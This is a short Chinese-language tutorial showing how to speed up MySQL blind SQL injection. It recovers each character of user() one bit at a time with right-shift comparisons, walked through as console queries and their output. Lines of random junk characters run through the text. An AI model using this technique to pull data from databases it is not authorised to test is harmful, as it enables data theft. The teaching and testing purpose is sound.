关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
; m( {6 c& K6 J& i
9 b2 O( @$ J' |# t$ m

1 Z+ {. b) n5 ?6 R下面将以查询mysql数据库当中user()的第一位为例:
, m" B6 A2 m: Y0 ~
2 g7 z; O. a! a$ x

ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)


, l* v2 i; x7 }' C
/ C7 {! D2 d; l( W. G1 Y# i首先执行如下sql语句:
+ u5 E0 V; ?! h( Q, @0 H8 b


" g3 j0 v1 f4 q5 k" _6 [mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
, Q# m8 l' ^) y- J* c6 |( l

6 O3 o4 ?6 s- g# o# R7 Y$ Y7 @+ u
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
9 @( X, W7 S- b: {% I: c' v: g8 B

' H& a$ T( h6 C8 ?: e5 J& `
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 l' b' v8 X- L6 }7 `

. I: ~0 x4 `* G; }* h! c
% b9 Z9 x5 L! _0 F6 _, U4 k5 _如果运算结果为1,说明第一位为0,不为1
: s/ r& v9 `3 z# |! C( p, N


/ h7 p. O+ P+ M* f4 c+————————————–+

* o, U5 s3 m1 d5 g7 ^| (ascii((substr(user(),1,1))) >> 7)=0 |
, m7 ]# d6 M' ?. @6 d
( p. C4 n0 n" t9 z" s) B. g/ t+————————————–+
+ X8 ?: X: z$ ]( n7 p: Q1 z. c
! [( X' g! g6 }0 n( k4 N' ~( N| 1 |

  r) S" d. ?- w1 `% N* g) r+————————————–+

1 row in set (0.00 sec)

6 m, F& Y* g+ i( h# K这样我们就确定这个8bit的ascii的第一位为0



# c9 Z5 m: \9 j/ h6 k7 N第二次我们来做6次右偏移来确定前两位

) M9 r" C# H& ^- o) m6 s
6 U0 k" @5 c; ]# }; i
前两位可能是01或00,即依然可以与0做比较,
3 S% F) z9 \8 [3 S. \
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

7 ^% e. y; M9 o$ [3 r+ A+————————————–+
9 v) G3 u7 z% p$ J' n, E
| (ascii((substr(user(),1,1))) >> 6)=0 |
7 z3 D, w* r7 i* T3 _) c0 o% X6 ^5 c
+————————————–+

4 J0 d9 r! v) h8 [: y+ ]$ a- j5 {( S| 0 |

+————————————–+

( y" `9 S  ~2 L* i) H( |1 row in set (0.00 sec)

( a5 w. k8 ]6 P7 ^2 v
4 `0 w5 q/ _$ }- b, ]
结果为0,即第二位为1
1 }' D. ?4 W, b0 b

/ X4 j4 x5 L6 `" F) j
开始猜测前三位为010或011


# {& J' J6 a( w+ A, Z* z
让我们看看010和011的ascii码是多少

! T9 y( a  Q" A" I+ H* }+ z5 S- X

/ `2 }: D! t' }( n+ l+ t分别查询select b’011′ select b’010′


! d: `; y' b$ K6 V8 b
' [5 L! |$ \  q0 `9 \) ~获得结果 010 = 2 011 = 3
& H, ?$ P6 J$ z+ }; K1 g* J
' p) b) Y2 R& w( G
( K" ^+ ?/ t# W* W1 N5 j; w
执行如下sql:
9 D) v$ {( I& ~9 _# P

' O9 i8 _8 }3 k: {1 z$ P
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

' _- C( `' f! c+ n+ P3 y3 l+————————————–+
5 S/ ~  h6 l6 }* F0 E# a1 d7 R, {
3 e$ Y! F1 ~6 w) F3 y3 E9 V| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
% J3 ]5 l. M# z: @  }" g7 _
: Y. ^  S. e7 {| 0 |
( z( N2 [6 ~2 k
+————————————–+

即前三位不为010,而是011
2 m3 F: V/ ^5 m$ S( W

  w. \+ E8 F& B: M
直到获得最后一位


* ^7 y9 t; y8 @6 H1 `
9 V* P# T& x( p- o% ]* y最终结果为:01110010

4 @8 \  \; c+ Y" Z" V' r' X. b/ ]

* w! z; `$ T  D0 d$ \转换一下:

( x: T' |8 ]; A' t1 Q1 L
  m# g' l0 d3 a  l
5 ^) C7 V4 P1 y7 Q" X& Z7 O0 oselect b’01110010′
# L) q3 f) f" a

4 w. C  d/ [8 I; U
查询结果
* V' u/ [+ {8 m% W6 t


+————-+

+ A. v2 f* _" r, z+ p: R) C9 K  r| b’01110010′ |

+————-+

| r |
) g/ @+ L$ D9 j/ j5 V4 C* k
$ {0 S! ?: P% U& _; t! C+————-+

1 row in set (0.00 sec)
% }" h% i  o; ^: f$ H


1 P# A7 g/ I0 y0 Z' W; u8 l这样我们就获得了user()的第一位.其它位依此类推